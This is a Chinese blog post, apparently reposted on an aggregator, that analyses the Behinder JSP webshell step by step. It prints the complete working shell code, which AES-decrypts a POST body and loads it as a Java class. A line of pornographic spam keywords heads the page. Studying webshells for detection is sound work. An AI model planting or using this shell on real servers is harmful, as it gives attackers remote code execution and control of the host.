国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

[JAVA安全webshell]冰蝎jsp木馬分析

這篇具有很好參考價(jià)值的文章主要介紹了[JAVA安全webshell]冰蝎jsp木馬分析。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。


前言

只是分享一下對(duì)冰蝎webshell分析的一個(gè)學(xué)習(xí)過(guò)程,冰蝎webshell使用了加載字節(jié)碼的方式執(zhí)行惡意代碼。


正文

首先打開(kāi)webshell[JAVA安全webshell]冰蝎jsp木馬分析
這么一行實(shí)在不好看,先把他分行吧。

分完行之后,就很清晰明了了。
[JAVA安全webshell]冰蝎jsp木馬分析

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }

    public Class g(byte []b){
        return super.defineClass(b,0,b.length);
    }
}%>
<%if (request.getMethod().equals("POST"))
{
    String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認(rèn)連接密碼rebeyond*/
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>

導(dǎo)入了三個(gè)依賴(lài),一個(gè)是標(biāo)準(zhǔn)庫(kù),兩個(gè)估計(jì)用于加密。

然后定義了一個(gè)類(lèi)U,繼承自ClassLoader,盲猜是用加載字節(jié)碼的方式來(lái)執(zhí)行命令,后面實(shí)現(xiàn)了g公有函數(shù),函數(shù)里調(diào)用了defineClass(這可是加載惡意類(lèi)的關(guān)鍵)

接下來(lái)就是主函數(shù)的部分。首先判斷請(qǐng)求方式是否為POST(它希望是)。定義了一個(gè)字符串k,是連接的密鑰,注釋中有詳細(xì)說(shuō)明。

接下來(lái)用putValue往session中存入一個(gè)鍵為u,值為密鑰的鍵值對(duì)。也就是把密鑰存入session的意思(putValue應(yīng)該和setAttribute功能差不多,百度了一下,發(fā)現(xiàn)putValue從servlet版本上被setAttribute代替了)。

接著實(shí)例化了一個(gè)Cipher類(lèi)。

javax.crypto.Cipher類(lèi)是從jdk1.4就開(kāi)始引入,所屬jdk拓展包Java Cryptographic Extension(JCE)框架,該框架主要用于加密解密和密碼功能

從它傳入的參數(shù)得知,c是一個(gè)用于AES加密的工具。

[JAVA安全webshell]冰蝎jsp木馬分析

(剛開(kāi)始想跟進(jìn)去分析Cipher類(lèi)的代碼,但一想,實(shí)在沒(méi)必要,這屬于此類(lèi)的應(yīng)用場(chǎng)景,那只需要去百度怎么用就好了。。。。給自己無(wú)語(yǔ)住了)

接下來(lái)執(zhí)行算法的初始化,c.init(),使用密鑰和一組算法參數(shù)初始化此密碼算法??匆幌鹿俜轿臋n,這些api。

[JAVA安全webshell]冰蝎jsp木馬分析

opmode是常量。

[JAVA安全webshell]冰蝎jsp木馬分析

看回源碼這一行。

c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

很明顯,第一個(gè)參數(shù),指定了密碼的模式,第二個(gè)參數(shù)就是一個(gè)KEY類(lèi)的實(shí)例,KEY類(lèi)也很單純,拋去各種方法,函數(shù),也就是兩個(gè)變量,一個(gè)是密鑰,一個(gè)是算法名。

[JAVA安全webshell]冰蝎jsp木馬分析

模式2是什么,雖然能猜到受控端肯定是解密模式,但是還是在里面看了一下。模式為decryption,解密。

[JAVA安全webshell]冰蝎jsp木馬分析

最后一行才是主要部分。

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

嵌套了不少層,從里往外看。首先讀取了post包的body部分的首行。

request.getReader().readLine()

然后,使用BASE64解碼該行。

new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())

然后調(diào)用上面所說(shuō)的密碼工具對(duì)其進(jìn)行AES解密(解密模式在init初始化時(shí)由2決定)。

c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))

實(shí)例化了一個(gè)U類(lèi),在構(gòu)造函數(shù)中取得了一個(gè)ClassLoader作為父類(lèi),來(lái)給U調(diào)用父類(lèi)的構(gòu)造方法。

new U(this.getClass().getClassLoader())

[JAVA安全webshell]冰蝎jsp木馬分析

然后調(diào)用它的g方法來(lái)執(zhí)行defineClass,也就是加載字節(jié)碼,參數(shù)是上面解密后的內(nèi)容。然后newInstance實(shí)例化(define不會(huì)執(zhí)行任何初始化代碼,包括static和constructor)

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance()

到這里就結(jié)束了。發(fā)送過(guò)去的payload形式應(yīng)當(dāng)是惡意類(lèi)的字節(jié)碼,并且經(jīng)過(guò)AES加密之后再base64編碼。


最后

大佬們,請(qǐng)多多留言指正和指導(dǎo),謝謝大佬們啦。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-492908.html

到了這里,關(guān)于[JAVA安全webshell]冰蝎jsp木馬分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶(hù)投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 滲透測(cè)試-菜刀冰蝎蟻劍哥斯拉等webshell工具及特征分析

    滲透測(cè)試-菜刀冰蝎蟻劍哥斯拉等webshell工具及特征分析

    在測(cè)試過(guò)程中,我們經(jīng)常會(huì)運(yùn)到各種webshell管理工具,這里我介紹幾種常見(jiàn)的webshell工具給大家。 webshell就是以asp、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種代碼執(zhí)行環(huán)境,主要用于網(wǎng)站管理、服務(wù)器管理、權(quán)限管理等操作。使用方法簡(jiǎn)單,只需上傳一個(gè)代碼文件,通過(guò)網(wǎng)址訪

    2024年02月16日
    瀏覽(21)
  • 菜刀、蟻劍以及冰蝎三款Webshell管理工具簡(jiǎn)介

    菜刀、蟻劍以及冰蝎三款Webshell管理工具簡(jiǎn)介

    今天繼續(xù)給大家介紹滲透測(cè)試相關(guān)知識(shí),本文主要內(nèi)容是菜刀、蟻劍以及冰蝎三款Webshell管理工具簡(jiǎn)介。 免責(zé)聲明: 本文所介紹的內(nèi)容僅做學(xué)習(xí)交流使用,嚴(yán)禁利用文中技術(shù)進(jìn)行非法行為,否則造成一切嚴(yán)重后果自負(fù)! 再次強(qiáng)調(diào):嚴(yán)禁對(duì)未授權(quán)設(shè)備進(jìn)行滲透測(cè)試! 當(dāng)前,在

    2024年02月06日
    瀏覽(21)
  • webshell管理工具-冰蝎(Behinder)的安裝和基礎(chǔ)使用(msf聯(lián)動(dòng),流量特征)

    webshell管理工具-冰蝎(Behinder)的安裝和基礎(chǔ)使用(msf聯(lián)動(dòng),流量特征)

    冰蝎是一款基于Java開(kāi)發(fā)的動(dòng)態(tài)加密通信流量的新型Webshell客戶(hù)端,由于通信流量被加密,傳統(tǒng)的WAF、IDS 設(shè)備 難以 檢測(cè),給威脅狩獵帶來(lái)較大挑戰(zhàn)。冰蝎其最大特點(diǎn)就是對(duì)交互流量進(jìn)行對(duì)稱(chēng)加密,且加密密鑰是由隨機(jī)數(shù)函數(shù)動(dòng)態(tài)生成,因此該客戶(hù)端的流量幾乎無(wú)法檢測(cè)。 gi

    2024年02月02日
    瀏覽(25)
  • 免費(fèi)簡(jiǎn)單好用的 webshell 在線檢測(cè):支持 php、jsp、asp等多格式文件

    免費(fèi)簡(jiǎn)單好用的 webshell 在線檢測(cè):支持 php、jsp、asp等多格式文件

    話(huà)不多說(shuō),直接上圖上鏈接:https://rivers.chaitin.cn/?share=3d4f2e8aaec211eea5550242c0a8170c 還是比較好用的,支持 PHP、JSP 文件 webshell 檢測(cè),看官方解釋文檔,引擎使用靜態(tài)文本特征、骨架哈希、靜態(tài)語(yǔ)義分析、動(dòng)態(tài)污點(diǎn)追蹤、動(dòng)態(tài)插樁內(nèi)存等檢測(cè)技術(shù),聽(tīng)起來(lái)比較高級(jí)。 也提供 API 接

    2024年02月02日
    瀏覽(28)
  • 冰蝎4.0特征分析及流量檢測(cè)思路

    冰蝎4.0特征分析及流量檢測(cè)思路

    冰蝎是一款基于Java開(kāi)發(fā)的動(dòng)態(tài)加密通信流量的新型Webshell客戶(hù)端。老牌Webshell管理神器——中國(guó)菜刀的攻擊流量特征明顯,容易被各類(lèi)安全設(shè)備檢測(cè),實(shí)際場(chǎng)景中越來(lái)越少使用,加密 Webshell 正變得日趨流行。 由于通信流量被加密,傳統(tǒng)的 WAF、IDS 設(shè)備難以檢測(cè),給威脅狩獵帶

    2024年02月06日
    瀏覽(23)
  • 冰蝎各版本工具分析與魔改思路

    冰蝎各版本工具分析與魔改思路

    github項(xiàng)目:https://github.com/rebeyond/Behinder/releases/ V2 源碼:https://github.com/hktalent/afterLoader 執(zhí)行流程圖: 首次連接一句話(huà)服務(wù)端時(shí),客戶(hù)端首先向服務(wù)器端發(fā)起GET請(qǐng)求,只有一個(gè)參數(shù),格式為?pass=123形式,服務(wù)器端隨機(jī)產(chǎn)生一個(gè)128位的密鑰,把密鑰回顯給客戶(hù)端,同時(shí)把密鑰寫(xiě)進(jìn)

    2024年02月04日
    瀏覽(19)
  • 網(wǎng)絡(luò)安全工具冰蝎(behinder)3.0使用教程

    網(wǎng)絡(luò)安全工具冰蝎(behinder)3.0使用教程

    目錄 下載工具 上傳文件 連接 rebeyond/Behinder: “冰蝎”動(dòng)態(tài)二進(jìn)制加密網(wǎng)站管理客戶(hù)端 (github.com) 將server中的文件上傳 ? ?我的是java所以選擇shell.jsp 輸入我們上傳的地址,之后密碼填寫(xiě)rebeyond

    2024年02月13日
    瀏覽(19)
  • 養(yǎng)老院安全管理系統(tǒng)(JSP+java+springmvc+mysql+MyBatis)

    養(yǎng)老院安全管理系統(tǒng)(JSP+java+springmvc+mysql+MyBatis)

    本項(xiàng)目包含程序+源碼+數(shù)據(jù)庫(kù)+LW+調(diào)試部署環(huán)境,文末可獲取一份本項(xiàng)目的java源碼和數(shù)據(jù)庫(kù)參考。 ? 隨著社會(huì)老齡化的加劇,養(yǎng)老院成為越來(lái)越多老年人的生活場(chǎng)所。然而,養(yǎng)老院的安全管理問(wèn)題也日益凸顯,包括消防安全、醫(yī)療急救、人員出入等方面的挑戰(zhàn)。因此,開(kāi)發(fā)一

    2024年04月11日
    瀏覽(36)
  • Shell管理工具流量分析-上(菜刀、蟻劍、冰蝎2.0流量分析)&入侵檢測(cè)、應(yīng)急響應(yīng)資料整理

    Shell管理工具流量分析-上(菜刀、蟻劍、冰蝎2.0流量分析)&入侵檢測(cè)、應(yīng)急響應(yīng)資料整理

    本文將會(huì)從攻防的角度分析常用 webshell 管理工具(菜刀、蟻劍、冰蝎2.0,冰蝎3.0、哥斯拉將在下篇介紹)的流量特點(diǎn),后半部分會(huì)整理一些有關(guān) webshell 入侵檢測(cè)和應(yīng)急響應(yīng)的文章 先從最簡(jiǎn)單的開(kāi)始吧,菜刀也算是比較早的 webshell 管理工具了,加密方式比較簡(jiǎn)單,這里分析

    2024年02月02日
    瀏覽(23)
  • JSP畢業(yè)設(shè)計(jì)2620基于Java的校車(chē)安全管理系統(tǒng)【源代碼+文檔+調(diào)試+講解】

    JSP畢業(yè)設(shè)計(jì)2620基于Java的校車(chē)安全管理系統(tǒng)【源代碼+文檔+調(diào)試+講解】

    本文詳細(xì)闡述了一個(gè)校車(chē)安全管理系統(tǒng)的設(shè)計(jì)與實(shí)現(xiàn)過(guò)程。該系統(tǒng)針對(duì)管理員、家長(zhǎng)、教師和司機(jī)四種用戶(hù)角色,提供了豐富的功能以滿(mǎn)足校車(chē)運(yùn)營(yíng)的安全性和便捷性需求。通過(guò)班級(jí)管理、司機(jī)管理、教師管理、家長(zhǎng)管理、公告管理、線路管理、訂單管理和意見(jiàn)反饋管理等核

    2024年02月03日
    瀏覽(21)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包